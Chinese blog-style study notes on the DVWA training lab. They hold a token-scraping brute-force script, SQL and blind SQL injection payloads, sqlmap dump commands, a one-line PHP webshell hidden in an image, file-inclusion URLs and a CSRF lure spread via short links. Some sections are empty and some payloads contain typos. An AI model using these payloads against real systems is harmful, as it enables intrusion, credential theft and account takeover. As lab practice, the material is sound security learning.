DVWA全靶场

发布于:2025-06-06 ⋅ 阅读:(23) ⋅ 点赞:(0)

目录

暴破

 Low - 万能密码

Medium - 转义

High - Token

Impossible

命令注入

CSRF跨站请求伪造 - 抓包

Low

Medium - 域名限制

High - 域名限制xss

文件包含 - 页面点点点

Low

Medium - 过滤http://

High - file

Impossible - 写死

文件上传

Low

Medium - 文件后缀

High - 文件内容校验

Impossible - 文件名哈希

不安全的验证码 - 重置密码

Low -step

Medium - step参数

High -用户头参数

Impossible -服务端验证

SQL手工

LOW - 输入框(字符型)

Medium -过滤'(数字型)

High -两层页面 limit 1

Impossible -sql预编译

SQL盲注  -sqlmap

Low

Low

xss(DOM)

Low

xss(反射)

xss(存储)

越权

HTTP重定向

密码学

API


暴力破解

 Low - 万能密码

登录页面,PHP 代码实现了一个简单的用户登录验证功能

输入账号即可

'  admin' '

' admin' or '1'='1 '

$query  = "SELECT * FROM `users` where  user = '$user' and password = '$pass';";
$query  = "SELECT * FROM `users` where  user = '  admin' ' and password = '$pass';";
$query  = "SELECT * FROM `users` where  user = ' admin' or '1'='1 ' and password = '$pass';";

Medium - 转义

登录页面,PHP 代码清理的用户输入字符

mysqli_real_escape_string

'失效语法报错

' admin' #  ' 失效

' admin' or '1'='1 ' 失效

Burp登录抓包

暴力破解

payload

撞库成功

High - Token

Token游乐园门票 有效期

校验:账号名  密码

校验:token  账号名 密码

打开网站服务器下发token(一次性),携带token(先校验),输入账号名 密码。

抓包看一下token什么东西

页面结构+url+密码本,ai脚本携带token密码破解。关掉burp代理只用VScode脚本去破解

#-*- coding: utf-8 -*-
import requests
import time
from collections import defaultdict

# ========== 配置区 ==========
dict_file = 'passwords.txt'   # 密码本文件
users_file = 'users.txt'       # 用户名列表文件(每行一个用户名)
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0',
    'Cookie': 'security=high; PHPSESSID=e82ip8fk6nuic046atg67j87c8',
    'Referer': 'http://10.141.19.241/dvwa/vulnerabilities/brute/index.php?username=admin&password=222222222&Login=Login&user_token=57fca96fbe33ffe75d78cba75f4ed373'
}

# ========== 功能函数 ==========
def get_http(u_name, p_word):
    url = 'http://localhost/DVWA/login.php'
    req = requests.get(url, headers=headers)
    return (url, req.status_code, req.text)

def get_login(u_name, p_word, user_token):
    url = f"http://localhost/DVWA/vulnerabilities/brute/?username={u_name}&password={p_word}&Login=Login&user_token={user_token}"
    req = requests.post(url, headers=headers)
    return (url, req.status_code, req.text, len(req.text))  # 返回响应长度

# ========== 执行流程 ========== 
print('++++++++开始密码暴力破解++++++++')
attempts = []  # 存储所有尝试结果

# 读取用户名和密码
with open(users_file, 'r', encoding='utf-8') as f:
    u_name_list = [line.strip() for line in f if line.strip()]

with open(dict_file, 'r', encoding='utf-8') as f:
    passwords = [line.strip() for line in f if line.strip()]

# 遍历所有用户和密码组合
attempt_count = 1
for u_name in u_name_list:
    print(f'------目前用户: {u_name}')
    for p_word in passwords:
        # 获取Token
        _, _, result = get_http(u_name, p_word)
        start = result.find('user_token')
        if start == -1:
            print(f"⚠️ 警告:用户 {u_name} 的Token未找到,跳过")
            continue
        
        user_token = result[start+19:start+51]
        
        # 发送带Token的请求并获取响应长度
        _, status_code, _, length = get_login(u_name, p_word, user_token)
        
        # 存储结果
        attempts.append({
            '序号': attempt_count,
            '用户': u_name,
            '密码': p_word,
            '状态码': status_code,
            '长度': length
        })
        print(f"尝试中: {attempt_count}  {u_name}  {p_word}  {status_code}  {length}")
        attempt_count += 1

print('\n++++++++结束密码暴力破解++++++++\n')

# ========== 分析结果:只输出有不同长度的用户 ==========
if not attempts:
    print("❌ 未找到有效尝试记录")
else:
    user_lengths = defaultdict(list)
    
    # 按用户分组收集长度
    for attempt in attempts:
        user_lengths[attempt['用户']].append(attempt['长度'])
    
    # 检查每个用户是否存在不同长度
    has_different_length = False
    for u_name, lengths in user_lengths.items():
        # 统计每个长度出现的次数
        count = defaultdict(int)
        for l in lengths:
            count[l] += 1
        
        # 找出出现次数最少的长度(可能为正确密码)
        min_count = min(count.values())
        possible_lengths = [l for l, cnt in count.items() if cnt == min_count]
        
        # 只输出存在不同长度的用户
        if len(count) > 1 and possible_lengths:
            has_different_length = True
            print(f"用户 {u_name} 的可能正确密码(不同长度):")
            for attempt in attempts:
                if attempt['用户'] == u_name and attempt['长度'] in possible_lengths:
                    print(f"✅ 序号: {attempt['序号']}  密码: {attempt['密码']}  长度: {attempt['长度']}")
            print()  # 空行分隔不同用户
    
    # 如果所有用户的所有尝试长度都相同
    if not has_different_length:
        print("所有用户的所有尝试长度一致,未找到可能的正确密码")

Impossible

账户锁定机制,防止爆破

命令注入

另一篇文章,

windows 百度一下添加管理员等

CSRF跨站请求伪造 - 抓包

Low

重置密码页面CSRF,也有可能任意密码重置(绕过两次前端验证抓包篡改)

CSRF主要针对密码

12345

123456

短链接网址短网址 - URLC.CN短网址,短网址生成,网址缩短,免费提供API接口生成,活码二维码生成,域名拦截检测

欺骗别人来点页面点完密码改成123456

页面伪装 放到服务器上让别人点你这个页面密码就改了

Medium - 域名限制

抓包看一下什么东西

High - 域名限制xss

SERVER_NAME,xss

文件包含 - 页面点点点

Low

phpinfo.php

http://10.141.19.241/dvwa/phpinfo.php

服务器版本泄露:CVE-2019-11043,PHP 7.3.4 存在的反序列化漏洞

服务器路径泄露 :D:\software\phpStudy_64\...\php7.3.4nts\php.in

页面开启错误显示:display_errors = On 和 display_startup_errors = On

未限制 PHP 可访问的文件目录:open_basedir = 未配置

未启用 HttpOnly 标志: session.cookie_httponly = 未设置,可能导致会话 cookie 被 XSS 漏洞窃取。

本地包含,远程包含

场景 核心配置项php.ini 说明
本地 无需依赖 allow_url_* 配置 使用本地文件路径(如 ./file.php)时,无论 allow_url_fopen 和 allow_url_include 是否开启,均正常生效。
远程

必须同时满足:
1. allow_url_fopen = On
2. allow_url_include = On

通过 URL 路径(如 http://example.com/hack.php)加载文件时,需同时开启这两个配置项,否则会被禁止。

allow_url_fopen = On允许通过url加载(http:// ftp://)  不允许则不能通过协议访问(本./  /www/)

allow_url_include = On允许所有包含

开启远程包含函数重启小皮面板服务

页面点点

自己有一个网站服务器把shell包含进去

http://10.141.19.241/dvwa/vulnerabilities/fi/?page=http://10.141.19.241/var/.....shell.php

http://10.141.19.241/dvwa/vulnerabilities/fi/?page=/http://10.141.19.241/var/.....phpinfo.php

http://10.141.19.241/dvwa/vulnerabilities/fi/?page=/var/password

<?php
phpinfo();
?>

Medium - 过滤http://

http://10.141.19.241/dvwa/vulnerabilities/fi/?page=htthttp://p://10.141.19.241/var/.....shell.php

High - file

file读取本地文件

Impossible - 写死

文件上传

Low

上传shell

一句话

Medium - 文件后缀

上传shell.jpg  抓包修改     shell.php

High - 文件内容校验

修改请求头
Content-Type: image/jpeg
#图片马
cmd> copy 风景.jpg/b + shell.php/a 1.jpg
#shell.jpg

GIF98
<?php eval($_post["cmd"]);?>


蚁剑2.jpg

Impossible - 文件名哈希

不安全的验证码 - 重置密码

逻辑漏洞,没有做服务器终端交互验证,只做了终端验证有机会。

Low -step

​​​​​​LDVWA报错: reCAPTCHA API key missing from config file error - 简书,其实有值就行 乱填

抓包看什么东西

Medium - step参数

抓包看看什么东西

添加参数

High -用户头参数

抓包看看什么东西

添加参数

Impossible -服务端验证

<?php

if( isset( $_POST[ 'Change' ] ) ) {
    // [防御] 验证CSRF令牌防止跨站请求伪造攻击
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 隐藏CAPTCHA表单
    $hide_form = true;

    // 获取用户输入的新密码
    $pass_new  = $_POST[ 'password_new' ];
    // [潜在漏洞] 使用stripslashes处理输入,可能导致反斜杠过滤不当
    $pass_new  = stripslashes( $pass_new );
    // [潜在漏洞] 混用mysqli_real_escape_string和PDO,代码不一致且冗余(PDO预处理已防护SQL注入)
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // [严重漏洞] 使用MD5哈希密码(已被破解),应使用password_hash()
    $pass_new  = md5( $pass_new );

    // 确认密码,存在与上面相同的安全问题
    $pass_conf = $_POST[ 'password_conf' ];
    $pass_conf = stripslashes( $pass_conf );
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_conf = md5( $pass_conf );

    // 当前密码,存在与上面相同的安全问题
    $pass_curr = $_POST[ 'password_current' ];
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

#放在服务段校验不是放在本地了,一步到位先在服务器段判断账户再判断验证码。没有step1step2了

    // [防御] 验证第三方CAPTCHA,防止自动化攻击
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        // [潜在漏洞] 缺少IP验证参数,可能被绕过(例如使用代理)
        $_POST['g-recaptcha-response']
    );

    // CAPTCHA验证失败处理
    if( !$resp ) {
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
    }
    else {
        // [防御] 使用PDO预处理语句查询当前密码(防止SQL注入)
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();

        // 检查新密码是否匹配且当前密码正确
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
            // [防御] 使用PDO预处理语句更新密码(防止SQL注入)
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();

            // [潜在漏洞] 密码修改成功后未重新生成会话ID,存在会话固定攻击风险
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // [潜在漏洞] 错误信息可能泄露密码验证逻辑(例如区分密码不匹配和当前密码错误)
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
            $hide_form = false;
        }
    }
}

// [防御] 生成新的CSRF令牌用于后续请求
generateSessionToken();

?>

SQL手工

LOW - 输入框(字符型)

抓包测试

注入思路:
1、是否有注入?是字符型还是数字型?
' 1' or '1'='1 # '

1' order by 2#

2、获取当前数据库
1' union select 1,database() #
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #
1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' #

3、下载数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

md5哈希解密

Medium -过滤'(数字型)

抓包测试

注入思路:
1、是否有注入?是字符型还是数字型?
' 1' or '1'='1 # '

1' order by 2#

2、获取当前数据库
1' union select 1,database() #获取库名
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #获取表名
1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' #获取列名

3、下载数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #获取账号密码(可以最后一步)

md5哈希解密

注入

列...

最后一步

High -两层页面 limit 1

一步到位

Impossible -sql预编译

我限定你输入id只能输入 1  2  3这种单个数字的。其它不认

is_numeric()

SQL盲注  -sqlmap

Low

区别:    不显示数据,只显示存在不存在    

1' or sleep(5)# 

自注思路:
1、是否有注入?布尔或时间?


2、获取当前数据库
1' and length(database())>1 #获取数据库长度
1' and asci(substr(database0,1,1)>1 #猜数据库名
1' and length(substr(select table_name from information_schema.tables where table_schema=database0 limit 0,1),1)>1 #获取表名长度
1' and ascii(substr(select table_name from information_schema.tables where table_schema=database0 limit 0,1),1,1))>97 # 获取列名长度
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1)=7 #猜列名

3、下载数据

抓包

# linux
gedit 1.txt
sqlmap -r 1.txt -dbs


#windows
sqlmap.py -r 1.txt -dbs
sqlmap.py -r 1.txt -D dvwa -dump-all
# python sqlmap.py -r 1.txt -dbs
python "E:\Tools\burp\sqlmap\sqlmap.py" -r "E:\Tools\burp\sqlmap\1.txt" -dbs
python "E:\Tools\burp\sqlmap\sqlmap.py" -r "E:\Tools\burp\sqlmap\1.txt" -D dvwa -dump-all


sqlmap.py -r 1.txt -D dvwa -tables
sqlmap.py -r 1.txt -D dvwa -T users -dump

.....

盲注不太可能手工去敲,依赖工具有waf,写脚本

Low

cookie能干什么?

插件Cookie-Editor、bp

登录抓取

退出登录

...设计的有点颠不看

xss(DOM)

Low

....

xss(反射)

.......

xss(存储)

越权

HTTP重定向

密码学

API


网站公告

今日签到

点亮在社区的每一天
去签到